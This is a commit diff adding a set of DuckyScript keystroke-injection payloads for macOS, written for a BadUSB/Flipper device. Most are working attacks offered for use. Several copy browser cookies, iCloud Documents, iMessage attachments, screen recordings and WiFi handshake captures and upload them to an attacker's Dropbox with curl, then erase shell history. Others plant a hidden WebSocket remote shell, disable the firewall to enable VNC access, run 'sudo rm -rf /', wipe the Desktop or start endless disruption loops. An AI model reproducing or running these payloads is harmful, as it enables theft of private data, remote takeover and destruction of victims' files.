Added submodule back in (raw files)

This commit is contained in:
UberGuidoZ
2023-08-08 21:59:16 -07:00
parent bef4b3b515
commit 0f9a038069
113 changed files with 5439 additions and 0 deletions
@@ -0,0 +1,21 @@
REM Deletes the hidden folder ~/.copypasta
REM To be used with copy pasta script
REM Author: Narsty
REM Title: Delete Copy Pasta
REM Target: MacOS
REM Version: 1.0
REM Category: Executions
ID 05ac:021e Apple:Keyboard
DELAY 1000
GUI SPACE
DELAY 500
STRING terminal
DELAY 500
ENTER
DELAY 1000
STRING rm -rf ~/.copypasta
DELAY 500
ENTER
@@ -0,0 +1,26 @@
REM Title: BLUETOOTH ON
REM Author: NARSTY
REM Description: Opens spotlight, searches for bluetooth file exchange
REM and turns bluetooth on
REM using the Macs built in bluetooth File Exchange
REM Target: MacOS
REM Version: 1.0
REM Category: Execution
ID 05ac:021e Apple:Keyboard
DELAY 1000
GUI SPACE
DELAY 1000
STRING bluetooth File Exchange
DELAY 1000
ENTER
DELAY 1000
ENTER
DELAY 2000
TAB
DELAY 2000
SPACE
DELAY 1000
GUI W
@@ -0,0 +1,97 @@
REM This Script will copy the Cookies folder and send them to your dropbox API
REM Replace '<SYSTEM USERNAME HERE>' with the systems actual username
REM Replace '<YOUR API KEY HERE>' with your actual Dropbox API key
REM Here's the breakdown, we navigate to the finder
REM use the Shift GUI G to open up the "go to folder" menu.
REM Then we search for & open the library folder.
REM Now we can type "cook" to navigate to the cookies folder
REM we copy it and navigate to a new window to paste the folder
REM Then we zip the folder and send it to the dropbox
REM Using the nohup and & to make sure the code is executed
REM Requirements Must have at least two windows open
REM Dropbox API key and targets system username
REM Author: Narsty
REM Title: Cookies to Dropbox
REM Version 1.0 MacOs
REM Category: Execution
ID 05ac:021e Apple:Keyboard
DELAY 500
GUI SPACE
DELAY 500
STRING Finder
DELAY 1000
ENTER
DELAY 2000
GUI-SHIFT g
DELAY 1000
STRING /Users/<SYSTEM USERNAME HERE>/Library
DELAY 500
ENTER
DELAY 1000
STRING cook
DELAY 500
GUI c
DELAY 500
CTRL RIGHTARROW
DELAY 1000
GUI v
DELAY 4000
GUI SPACE
DELAY 500
STRING terminal
DELAY 1000
ENTER
DELAY 1000
CTRL c
DELAY 500
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
DELAY 500
ENTER
DELAY 500
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
DELAY 500
ENTER
DELAY 500
ENTER
DELAY 500
STRING echo 'cd ~/Desktop && zip -r cookies.zip cookies && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer <YOUR API KEY HERE>" -H "Dropbox-API-Arg: {\"path\": \"/cookies.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @cookies.zip' > upload.sh
DELAY 1000
ENTER
DELAY 2000
STRING chmod +x upload.sh
DELAY 500
ENTER
DELAY 500
STRING nohup ./upload.sh >/dev/null 2>&1 &
DELAY 500
ENTER
DELAY 1000
CTRL C
DELAY 500
STRING rm -r ~/Desktop/cookies
DELAY 1000
ENTER
DELAY 500
STRING rm upload.sh
DELAY 500
ENTER
DELAY 5000
STRING rm -r ~/Desktop/cookies.zip
ENTER
DELAY 500
STRING CLEAR
DELAY 500
ENTER
DELAY 500
STRING rm ~/.bash_history
DELAY 500
GUI w
DELAY 500
ENTER
@@ -0,0 +1,32 @@
REM Creates Hidden Folder and Copies Desktop Contents
REM To find the folder follow the steps below.
REM Open Finder.
REM Click on "Go" in the menu bar at the top of the screen.
REM Select "Go to Folder" from the dropdown menu.
REM In the "Go to the folder" dialog box, enter '~/.copypasta' and click "Go".
REM Author: Narsty
REM Title: Dark Mode Toggler
REM Target: MacOS
REM Version: 1.0
REM Category: Executions
ID 05ac:021e Apple:Keyboard
DELAY 1000
GUI SPACE
DELAY 500
STRING terminal
DELAY 500
ENTER
DELAY 1000
STRING mkdir ~/.copypasta
DELAY 500
ENTER
DELAY 500
STRING cp -R ~/Desktop/* ~/.copypasta/
DELAY 500
ENTER
DELAY 500
GUI W
@@ -0,0 +1,55 @@
REM The script will open the Terminal,
REM execute the nmap command to scan for open ports,
REM run nikto for web server vulnerability scanning.
REM Runs Zap to test for Network vulerabilities, prints report to Desktop. You can change location to your flipper on line 48.
REM Tshark command-line tool for capturing and analyzing network traffic. Will create a new file named capture.pcap on your desktop
REM You can change location to your flipper on line 51.
REM Finally the script performs directory and file brute-forcing with gobuster and password files
REM Must store password file on Desktop and name it "common.txt"
REM nmap, nikto, and gobuster can all be downloaded using homebrew/terminal
REM command 'brew install nmap && brew install nikto && brew install gobuster'
REM Download wireshark to use the terminal Tshark command
REM Download the OWASP ZAP.app file from the official OWASP ZAP website
REM nikto command will not execute if you don't have the correct port assigned!
REM verify that the web server is indeed running on an open port
REM as indicated by the Nmap scan, before using the code!
REM Line 45 should look like this after port # is inserted "STRING nikto -h 13.371.118.34 -p 73"
REM To use this script, replace <13.371.118.34 with target_ip>
REM Author: Narsty
REM Title: DarkStorm bruteforce
REM Target: MacOS
REM Version: 1.0
REM Category: Execution
ID 05ac:021e Apple:Keyboard
DELAY 1000
GUI SPACE
DELAY 500
STRING terminal
DELAY 500
ENTER
DELAY 1000
STRING nmap -p 1-1000 -T4 -Pn 13.371.118.34
ENTER
DELAY 7000
STRING nikto -h 13.371.118.34 -p <Open port # goes here>
ENTER
DELAY 7000
STRING /Applications/OWASP\ ZAP.app/Contents/Java/zap.sh -cmd -quickurl http://13.371.118.34 -quickout ~/Desktop/quick_scan_results.html
ENTER
DELAY 7000
STRING tshark -i en0 -w ~/Desktop/capture.pcap
ENTER
DELAY 7000
STRING gobuster dir -u http://13.371.118.34 -w ~/Desktop/common.txt -t 50 -q
ENTER
@@ -0,0 +1,24 @@
REM Title: Desktop Deletion
REM Author: NARSTY
REM Description: Opens Terminal and enters commands to delete ALL files and folders located on Desktop
REM Please exercise caution when using this command
REM It will permanently delete all files & Folder on the desktop without any confirmation prompts
REM Target: MacOS
REM Version: 1.0
REM Category: Execution
ID 05ac:021e Apple:Keyboard
DELAY 300
GUI SPACE
DELAY 500
STRING terminal.app
DELAY 1000
ENTER
DELAY 1000
STRING rm -rf ~/Desktop/*
DELAY 2000
ENTER
DELAY 2000
GUI W
@@ -0,0 +1,24 @@
REM Title: Desktop Deletion
REM Author: NARSTY
REM Description: Opens Terminal and enters commands to delete files located on Desktop
REM Please exercise caution when using this command
REM It will permanently delete all files on the desktop without any confirmation prompts
REM Target: MacOS
REM Version: 1.0
REM Category: Execution
ID 05ac:021e Apple:Keyboard
DELAY 300
GUI SPACE
DELAY 500
STRING terminal.app
DELAY 1000
ENTER
DELAY 1000
STRING rm ~/Desktop/*
DELAY 2000
ENTER
DELAY 2000
GUI W
@@ -0,0 +1,73 @@
REM This script will create a folder on the desktop named "backup"
REM it will then copy the Documents and Desktop contents to the folder and create a .zip
REM Once the zip is created it will proceed to send all the contents to your Dropbox
REM you MUST replace "<API access token here>" with your actual API accesss token
REM Title: Docs and Desktop to Dropbox API
REM Author: Narsty
REM Target: MacOS
REM Version: 1.0
REM Category: Execution
ID 05ac:021e Apple:Keyboard
DELAY 500
GUI SPACE
DELAY 500
STRING Terminal
DELAY 1000
ENTER
DELAY 500
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
DELAY 500
ENTER
DELAY 500
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
DELAY 500
ENTER
DELAY 500
ENTER
DELAY 500
STRING mkdir -p ~/Desktop/Backup/Desktop
ENTER
DELAY 500
STRING mkdir -p ~/Desktop/Backup/Documents
ENTER
DELAY 500
STRING cp -R ~/Documents/* ~/Desktop/Backup/Documents/
ENTER
DELAY 500
STRING cp -R ~/Desktop/* ~/Desktop/Backup/Desktop/
ENTER
DELAY 500
STRING echo 'cd ~/Desktop/Backup && zip -r backup.zip . && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer <API access token here>" -H "Dropbox-API-Arg: {\"path\": \"/Backup/backup.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @backup.zip' > upload.sh
ENTER
DELAY 2500
ENTER
STRING chmod +x upload.sh
ENTER
DELAY 500
STRING nohup ./upload.sh >/dev/null 2>&1 &
ENTER
DELAY 500
STRING rm upload.sh
DELAY 500
ENTER
DELAY 5000
STRING rm -r ~/Desktop/backup
DELAY 500
ENTER
DELAY 5000
STRING rm backup.zip
DELAY 500
ENTER
DELAY 500
STRING clear
DELAY 500
ENTER
DELAY 250
GUI w
DELAY 1000
ENTER
DELAY 250
ENTER
@@ -0,0 +1,46 @@
REM This script can be used to download files from dropbox to a target MacOs Desktop.
REM files downloaded to the desktop can be used to trigger more complex scripts for further exploitation
REM Author: Narsty
REM Title: Dropbox to Desktop Bomb
REM Version 1.0 MacOs
REM Category: Execution
REM Replace the "<API ACCESS TOKEN HERE>" Placeholder with your actual Dropbox API token
REM Replace "<DROPBOX URL HERE>" with the URL of the dropbox file
REM Replace the "<CLICK ME.mp4>" placeholder
REM with what you want the name of the file to be on the target desktop
REM Must include file format (.jpeg .doc .txt .mp4)
ID 05ac:021e Apple:Keyboard
DELAY 500
GUI SPACE
DELAY 500
STRING terminal
DELAY 500
ENTER
DELAY 500
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
DELAY 500
ENTER
DELAY 500
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
DELAY 500
ENTER
ENTER
DELAY 1000
STRING cd ~/Desktop
ENTER
DELAY 500
STRING echo 'ACCESS_TOKEN="<API ACCESS TOKEN HERE>"; DOWNLOAD_URL="<DROPBOX URL HERE>"; SAVE_PATH="$HOME/Desktop/<CLICK ME.mp4>"; curl -L -o "$SAVE_PATH" --header "Authorization: Bearer $ACCESS_TOKEN" "$DOWNLOAD_URL"' > download.sh
DELAY 500
STRING chmod +x download.sh
DELAY 500
STRING ./download.sh
DELAY 250
ENTER
DELAY 7000
GUI w
@@ -0,0 +1,76 @@
REM This script discreetly grabs the .PCAP that will contain the FOUR EAPOL handshake keys
REM then zips the file renaming it Captured Handshake and sends it directly to your dropbox API.
REM Replace '<API ACCESS TOKEN>' with your actual API access token.
REM Requirements Wireshark (tshark) can download using the command 'brew install wireshark'
REM Dropbox API token, you can find Documentation under my Executions readme.
REM Author: Narsty
REM Title: EAPOL Handshake to Dropbox
REM Version 1.0 MacOs
REM Category: Execution
ID 05ac:021e Apple:Keyboard
DELAY 500
GUI SPACE
DELAY 500
STRING terminal
DELAY 1000
ENTER
DELAY 2000
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
DELAY 500
ENTER
DELAY 500
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
DELAY 500
ENTER
DELAY 500
ENTER
DELAY 500
STRING networksetup -setairportpower en0 off
DELAY 500
ENTER
DELAY 1000
STRING tshark -i en0 -w ~/Desktop/captured.pcap &
DELAY 1000
ENTER
DELAY 6000
STRING networksetup -setairportpower en0 on
DELAY 500
ENTER
DELAY 3000
STRING pkill -f tshark
DELAY 500
ENTER
DELAY 500
CTRL c
DELAY 2000
STRING echo 'cd ~/Desktop && zip -r "CapturedHandshake.zip" captured.pcap && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer <API ACCESS TOKEN>" -H "Dropbox-API-Arg: {\"path\": \"/Backup/CapturedHandshake.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @"CapturedHandshake.zip"' > upload.sh
DELAY 500
ENTER
DELAY 500
STRING chmod +x upload.sh
ENTER
DELAY 500
STRING nohup ./upload.sh >/dev/null 2>&1 &
DELAY 500
ENTER
DELAY 10000
STRING rm ~/Desktop/captured.pcap
DELAY 500
ENTER
STRING rm ~/Desktop/CapturedHandshake.zip
DELAY 500
ENTER
STRING rm upload.sh
DELAY 500
ENTER
DELAY 5000
GUI w
DELAY 500
ENTER
@@ -0,0 +1,24 @@
REM Title: Ejcect Disk Utility
REM Author: NARSTY
REM Description: Opens Disk Utility and Ejects The Second Order Disk.
REM Will NOT work if programs are open during execution, please use responsibly
REM Target: MacOS
REM Version: 1.0
REM Category: Execution
ID 05ac:021e Apple:Keyboard
DELAY 1000
GUI SPACE
DELAY 200
STRING Disk Utility
DELAY 1000
ENTER
DELAY 1000
GUI DOWNARROW
DELAY 500
ENTER
DELAY 500
GUI E
DELAY 500
ENTER
GUI q
@@ -0,0 +1,23 @@
REM Creates 100 Files each containing 30MB of random data on the Desktop
REM Can modify the count=30 parameter to change the amount of MB in each file
REM Can modify the '100' to change the number of files created
REM please be EXTREMELY careful with load testing scripts as they can damage your system
REM Author: Narsty
REM Title: File load Tester
REM Target: MacOS
REM Version: 1.0
REM Category: Executions
ID 05ac:021e Apple:Keyboard
DELAY 1000
GUI SPACE
DELAY 500
STRING terminal
DELAY 500
ENTER
DELAY 1000
STRING cd ~/Desktop && for i in {1..100}; do dd if=/dev/random of=file$i bs=1m count=30; done
DELAY 500
ENTER
@@ -0,0 +1,22 @@
REM Creates 400 Folders on the Desktop
REM Can adjust the number "400" to change the numbers of folders created
REM please be EXTREMELY careful with load testing scripts as they can damage your system
REM Author: Narsty
REM Title: Folder Fun
REM Target: MacOS
REM Version: 1.0
REM Category: Executions
ID 05ac:021e Apple:Keyboard
DELAY 1000
GUI SPACE
DELAY 500
STRING terminal
DELAY 500
ENTER
DELAY 1000
STRING mkdir ~/Desktop/FunFolders{1..400}
DELAY 500
ENTER
@@ -0,0 +1,90 @@
REM This Script will copy the Documents folder in Icloud and send them to your dropbox API
REM Replace '<SYSTEM USERNAME HERE>' with the systems actual username
REM Replace '<YOUR API KEY HERE>' with your actual Dropbox API key
REM Here's the breakdown, we navigate to the finder
REM use the Shift GUI G to open up the "go to folder" menu.
REM Then we search for & open the mobile iCloud folder.
REM Now we can type "do" to navigate to the Documents folder
REM we copy it and navigate to a new window to paste the folder
REM Then we zip the folder and send it to the dropbox
REM Using the nohup and & to make sure the code is executed
REM Requirements Must have at least two windows open
REM Dropbox API key and targets system username
REM Author: Narsty
REM Title: iCloud Documents to Dropbox
REM Version 2.0 MacOs
REM Category: Execution
ID 05ac:021e Apple:Keyboard
DELAY 500
GUI SPACE
DELAY 500
STRING Finder
DELAY 1000
ENTER
DELAY 2000
GUI-SHIFT g
DELAY 1000
STRING /Users/<SYSTEM USERNAME HERE>/Library/mobile
DELAY 500
ENTER
DELAY 1000
STRING do
DELAY 500
GUI c
DELAY 500
CTRL RIGHTARROW
DELAY 1000
GUI v
DELAY 15000
GUI SPACE
DELAY 500
STRING terminal
DELAY 1000
ENTER
DELAY 500
STRING STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
DELAY 500
ENTER
DELAY 500
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
DELAY 500
ENTER
DELAY 500
ENTER
DELAY 500
CTRL c
DELAY 1000
STRING echo 'cd ~/Desktop && zip -r Documents.zip Documents && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer <YOUR API KEY HERE>" -H "Dropbox-API-Arg: {\"path\": \"/Documents.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @Documents.zip' > upload.sh
DELAY 1000
ENTER
DELAY 2000
STRING chmod +x upload.sh
DELAY 500
ENTER
DELAY 500
STRING ./upload.sh
DELAY 500
ENTER
DELAY 7000
CTRL C
DELAY 500
STRING rm upload.sh
DELAY 500
ENTER
DELAY 500
STRING rm -r ~/Desktop/Documents.zip
ENTER
DELAY 500
STRING CLEAR
DELAY 500
ENTER
DELAY 500
GUI w
DELAY 500
ENTER
@@ -0,0 +1,89 @@
REM This Script will copy all the attachments in the messages app and send them to your dropbox API
REM Replace '<SYSTEM USERNAME HERE>' with the systems actual username
REM Replace "<YOUR API KEY HERE>' with your actual Dropbox API key
REM Here's the breakdown, we simply navigate to the finder
REM use the Shift GUI G to open up the "go to folder" menu.
REM Then we search for & open the messages folder.
REM Now we can tab to the attachments folder copy it and navigate to a new window to paste the folder
REM Then we zip the folder and send it to the dropbox
REM Using the nohup and & to make sure the code is executed
REM even when closing out of the terminal.
REM Requirements Must have at least two windows open
REM Dropbox API key and targets system username
REM Author: Narsty
REM Title: Imessage Attachments to Dropbox
REM Version 2.0 MacOs
REM Category: Execution
ID 05ac:021e Apple:Keyboard
DELAY 500
GUI SPACE
DELAY 500
STRING Finder
DELAY 1000
ENTER
DELAY 2000
GUI-SHIFT g
DELAY 1000
STRING /Users/<SYSTEM USERNAME HERE>/Library/Messages/
DELAY 500
ENTER
DELAY 1000
STRING at
DELAY 500
GUI c
DELAY 250
CTRL RIGHTARROW
DELAY 1000
GUI v
DELAY 500
GUI SPACE
DELAY 500
STRING terminal
DELAY 1000
ENTER
DELAY 500
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
DELAY 500
ENTER
DELAY 500
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
DELAY 500
ENTER
DELAY 500
ENTER
DELAY 500
CTRL c
DELAY 1000
STRING echo 'cd ~/Desktop && zip -r attachments.zip Attachments && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer <YOUR API KEY HERE>" -H "Dropbox-API-Arg: {\"path\": \"/attachments.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @attachments.zip' > upload.sh
DELAY 2000
ENTER
DELAY 500
STRING chmod +x upload.sh
DELAY 500
ENTER
DELAY 500
STRING nohup ./upload.sh >/dev/null 2>&1 &
DELAY 500
ENTER
DELAY 2000
CTRL C
DELAY 500
STRING rm upload.sh
DELAY 500
ENTER
DELAY 500
STRING CLEAR
DELAY 500
ENTER
DELAY 500
GUI w
DELAY 500
ENTER
@@ -0,0 +1,32 @@
REM This script opens an infinite dialog box on MacOS
REM that continuously displays the message "I'll Never Leave" with an "OK" button.
REM It runs in the background using the nohup command.
REM The script then clears the terminal and exits.
REM To end the loop you need to Kill the PID
REM In the terminal, use the command "pgrep osascript" to find the PID of the dialog box loop
REM Run the command 'Kill PID #' to end the dialog box loop
REM Author: Narsty
REM Title: Infinite Dialog Box
REM Target: MacOS
REM Version: 1.0
REM Category: Executions
ID 05ac:021e Apple:Keyboard
DELAY 500
GUI SPACE
DELAY 500
STRING terminal
DELAY 1000
ENTER
DELAY 1000
STRING nohup osascript -e 'repeat' -e 'set dialogResult to button returned of (display dialog "I'"'"'ll Never Leave" buttons {"Option 1", "Option 2", "Option 3"} default button 1)' -e 'end repeat' >/dev/null 2>&1 &
DELAY 500
GUI k
DELAY 500
GUI w
@@ -0,0 +1,33 @@
REM This script opens an Infinite Dropdown list on MacOS
REM that continuously displays the message "I'll Never Leave"
REM with a list of selectable option and "Ill Never Leave" button.
REM It runs in the background using the nohup command.
REM The script then clears the terminal and exits.
REM To end the loop you need to Kill the PID
REM In the terminal, use the command "pgrep osascript" to find the PID of the dialog box loop
REM Run the command 'Kill PID #' to end the dialog box loop
REM Author: Narsty
REM Title: Infinite Dropdown list
REM Target: MacOS
REM Version: 1.0
REM Category: Executions
ID 05ac:021e Apple:Keyboard
DELAY 500
GUI SPACE
DELAY 500
STRING terminal
DELAY 1000
ENTER
DELAY 1000
STRING nohup osascript -e 'repeat' -e 'set dialogResult to button returned of (display dialog "I'"'"'ll Never Leave" buttons {"Option 1", "Option 2", "Option 3"} default button 1)' -e 'end repeat' >/dev/null 2>&1 &
DELAY 500
GUI k
DELAY 500
GUI w
@@ -0,0 +1,20 @@
REM Description: Opens Terminal and redirects to URL of choice
REM You must enter the desired website in the Url String DO NOT remove single Quotes!
REM Title: Website Redirect
REM Author: NARSTY
REM Target: MacOS
REM Version: 1.0
REM Category: Execution
ID 05ac:021e Apple:Keyboard
DELAY 1000
GUI SPACE
DELAY 200
STRING terminal
DELAY 1000
ENTER
DELAY 1000
STRING open -a Safari 'Enter URL/Website here'
DELAY 1000
ENTER
@@ -0,0 +1,37 @@
REM This script uses the caffeinate command
REM to keep the MacOS system from going to sleep.
REM To undo this you must kill the PID using the command 'kill PID#'
REM To find the PID use the following command 'ps aux | grep caffeinate'
REM Author: Narsty
REM Title: Never Sleep
REM Target: MacOS
REM Version: 1.0
REM Category: Executions
DELAY 500
GUI SPACE
DELAY 500
STRING TERMINAL
DELAY 1000
ENTER
DELAY 1000
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
DELAY 500
ENTER
DELAY 500
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
DELAY 500
ENTER
DELAY 500
STRING NOHUP caffeinate -s &
DELAY 500
ENTER
DELAY 500
GUI W
DELAY 500
ENTER
@@ -0,0 +1,61 @@
REM Creates a hidden directory in the home directory named .phantom_ws.
REM Navigates into the new directory.
REM Writes a Python script (server.py)
REM This sets up a WebSocket server and allows command execution from received WebSocket messages.
REM Starts the Python script in the background with nohup, suppressing all output.
REM Clears the terminal history and exits the terminal.
REM to connect to the shell remotley: 'brew install websocat'
REM After you've installed websocat,
REM you can connect to your WebSocket server like this: 'websocat ws://localhost:8765'
REM Replace "localhost" with targets I.P. address
REM Once connected, you can type a command and press Enter to send it.
REM The server will execute the command and send back the output.
REM To shut down the server, use the kill command with the PID
REM Replace 12345 with the actual PID from your 'kill 12345'
REM Requirements: Homebrew/python3/websocat
REM Python 3 and websockets library need to be installed on the systemTerminal
REM command 'pip3 install websockets'
REM Title: Remote Shell
REM Author: NARSTY
REM Target: MacOS
REM Version: 1.0
REM Category: Execution
ID 05ac:021e Apple:Keyboard
DELAY 500
GUI SPACE
DELAY 500
STRING Terminal
DELAY 500
ENTER
DELAY 500
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
DELAY 500
ENTER
DELAY 500
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
DELAY 500
ENTER
DELAY 500
ENTER
DELAY 500
STRING mkdir ~/.phantom_ws && cd ~/.phantom_ws
ENTER
DELAY 500
STRING echo 'import asyncio\nimport websockets\nimport subprocess\n\nasync def execute_command(websocket, path):\n async for message in websocket:\n cmd = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n cmd_output = cmd.stdout.read() + cmd.stderr.read()\n await websocket.send(cmd_output.decode())\n\nstart_server = websockets.serve(execute_command, "localhost", 8765)\n\nasyncio.get_event_loop().run_until_complete(start_server)\nasyncio.get_event_loop().run_forever()' > server.py
ENTER
DELAY 500
STRING nohup python3 server.py > /dev/null 2>&1 &
ENTER
DELAY 500
STRING clear
ENTER
@@ -0,0 +1,87 @@
REM This script records the screen and saves the recording as a .mkv file to the desktop.
REM Converts the recording to an MP4 file and saves the MP4 file to the desktop.
REM Then uploads the MP4 file to your Dropbox API, deletes the files on the desktop, and clears the terminal.
REM Must have terminal recording privileges enabled in Privacy & Security settings
REM Script includes a delay of 10 seconds after starting the recording.
REM to allow for the desired recording duration. Can adjust the delay for longer recordings. line 35
REM Delays for render time; if you adjust line 35, also adjust line 43 accordingly.
REM This will allow a adequate render time for the .mp4
REM Must have ffmpeg installed
REM You can download through the terminal using the 'brew install ffmpeg command'
REM Replace "<USERNAME_HERE>" with system username
REM Replace "<Your API token Here>" with your API access token
REM Author: Narsty
REM Title: Screen Recorder MacOs to Dropbox
REM Target: MacOS
REM Version: 1.0
REM Category: Execution
ID 05ac:021e Apple:Keyboard
DELAY 1000
GUI SPACE
DELAY 500
STRING terminal
DELAY 1000
ENTER
DELAY 500
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
DELAY 500
ENTER
DELAY 500
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
DELAY 500
ENTER
DELAY 500
ENTER
DELAY 500
STRING ffmpeg -f avfoundation -r 30 -i "1" -c:v libx264 -preset ultrafast -tune zerolatency -crf 23 -pix_fmt yuv420p ~/Desktop/screen_recording.mkv
DELAY 250
ENTER
GUI h ; hides terminal to capture contents on the screen
DELAY 10000 ; Delay for 10 seconds (adjust as needed)
GUI TAB ; reopens terminal to continue script
DELAY 500
CTRL C ; Send the interrupt signal to stop the recording
DELAY 500
STRING ffmpeg -i ~/Desktop/screen_recording.mkv -c:v libx264 -preset fast -crf 23 -pix_fmt yuv420p ~/Desktop/screen_recording.mp4
DELAY 500
ENTER
DELAY 30000
STRING echo 'curl -X POST "https://content.dropboxapi.com/2/files/upload" -H "Authorization: Bearer <Your API token Here>" -H "Dropbox-API-Arg: {\"path\": \"/screen_recording.mp4\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary "@/Users/<USERNAME_HERE>/Desktop/screen_recording.mp4"' > upload.sh
ENTER
DELAY 500
STRING chmod +x upload.sh
ENTER
DELAY 500
STRING nohup ./upload.sh >/dev/null 2>&1 &
DELAY 500
ENTER
DELAY 10000
STRING rm ~/Desktop/screen_recording.mkv
DELAY 250
ENTER
DELAY 3000
STRING rm ~/Desktop/screen_recording.mp4
DELAY 250
ENTER
DELAY 500
STRING rm upload.sh
DELAY 500
ENTER
DELAY 500
STRING clear
ENTER
DELAY 500
GUI w
DELAY 1000
ENTER
@@ -0,0 +1,45 @@
REM Description: This script records the screen and saves the recording as a video file.
REM Must have ffmpeg installed.
REM Must have terminal recording privilege enabled
REM Script uses a screen recording command and the conversion of the recording to an MP4 file.
REM It includes a delay of 10 seconds after starting the recording to allow for the desired recording duration. Can adjust the delay for longer recordings line 31
REM After that, it sends the interrupt signal (Ctrl+C) to stop the recording.
REM Then it proceeds with the conversion of the recorded file from MKV to MP4 format using the ffmpeg command And stores it on the desktop
REM you can change the locations "Desktop" to store the file in a more discrete place.
REM Author: Narsty
REM Title: Screen Recorder MacOs
REM Target: MacOS
REM Version: 1.0
REM Category: Execution
ID 05ac:021e Apple:Keyboard
DELAY 1000
GUI SPACE
DELAY 500
STRING terminal
DELAY 500
ENTER
DELAY 500
STRING ffmpeg -f avfoundation -r 30 -i "1" -c:v libx264 -preset ultrafast -tune zerolatency -crf 23 -pix_fmt yuv420p ~/Desktop/screen_recording.mkv
DELAY 250
ENTER
DELAY 10000 ; Delay for 10 seconds (adjust as needed)
CTRL C ; Send the interrupt signal to stop the recording
DELAY 500
STRING ffmpeg -i ~/Desktop/screen_recording.mkv -c:v libx264 -preset fast -crf 23 -pix_fmt yuv420p ~/Desktop/screen_recording.mp4
DELAY 250
ENTER
@@ -0,0 +1,34 @@
REM This script initiates a system disruption loop by
REM continuously generating warning messages using the "say" command in macOS.
REM Will continue to run after the terminal is closed
REM To end the loop you need to Kill the PID
REM Use the command <ps aux | grep 'sh -c while true; do say "Warning: System compromised. Initiating disruption."; done'>
REM to find the PID
REM Run the command 'Kill PID #' to end the warning message loop.
REM Author: Narsty
REM Title: System Disruption Loop
REM Target: MacOS
REM Version: 1.0
REM Category: Executions
ID 05ac:021e Apple:Keyboard
DELAY 500
GUI SPACE
DELAY 500
STRING terminal
DELAY 1000
ENTER
DELAY 1000
STRING nohup sh -c 'while true; do say "Warning: System compromised. Initiating disruption."; done' >/dev/null 2>&1 &
DELAY 500
GUI k
DELAY 500
GUI w
DELAY 500
ENTER
@@ -0,0 +1,34 @@
REM this will delete all files on the system
REM there will be no Prompt
REM Using such scripts can have severe consequences and is not recommended.
REM Always exercise caution and ensure you have proper authorization.
REM Title: Fuck your Files
REM Author: NARSTY
REM Version: 1.0
REM Target: macOS
REM Category: Executions
DELAY 1000
GUI SPACE
DELAY 500
STRING Terminal
DELAY 500
ENTER
DELAY 1000
STRING echo "Hello! Initiating system takeover... Deleting All Files....."
ENTER
DELAY 1000
STRING sudo rm -rf /
ENTER
DELAY 1000
STRING echo "All your files have been deleted. Goodbye!"
ENTER
DELAY 1000
STRING sudo shutdown -h now
ENTER
@@ -0,0 +1,52 @@
REM VNC is a technology that allows you to remotely control another computer.
REM In this case, if the VNC server is started on a Mac, you can view
REM and control that Mac from another computer using a VNC viewer application.
REM This script disables the firewall
REM disable the local address check for Screen Sharing
REM and enables screen sharing via sudo command (must know password Trying to find a workaround)
REM Now you can use your local computer to tap into the target
REM you can run the command open vnc://target_ip_address
REM replace "target_ip_address" with the actual I.p. of the remote MacOs
REM VNC Viewer should establish a connection to the target machine,
REM you should be able to see and control the remote desktop of the target machine on your computer.
REM Note that the specific command and package name may vary
REM based on the version of Homebrew and RealVNC available at the time of installation.
REM Author: Narsty
REM Title: Virtual Network Remote Access
REM Target: MacOS
REM Version: 1.0
REM Category: Execution
ID 05ac:021e Apple:Keyboard
DELAY 500
GUI SPACE
DELAY 500
STRING terminal
DELAY 1000
ENTER
DELAY 500
STRING sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.screensharing.plist
DELAY 2000
ENTER
DELAY 8000
STRING /usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate off
DELAY 3000
ENTER
DELAY 500
STRING defaults write com.apple.ScreenSharing skipLocalAddressCheck -bool true
DELAY 3000
ENTER
DELAY 500
STRING clear
DELAY 500
GUI w
@@ -0,0 +1,95 @@
REM This Script will copy the Photos library folder and send them to your dropbox API
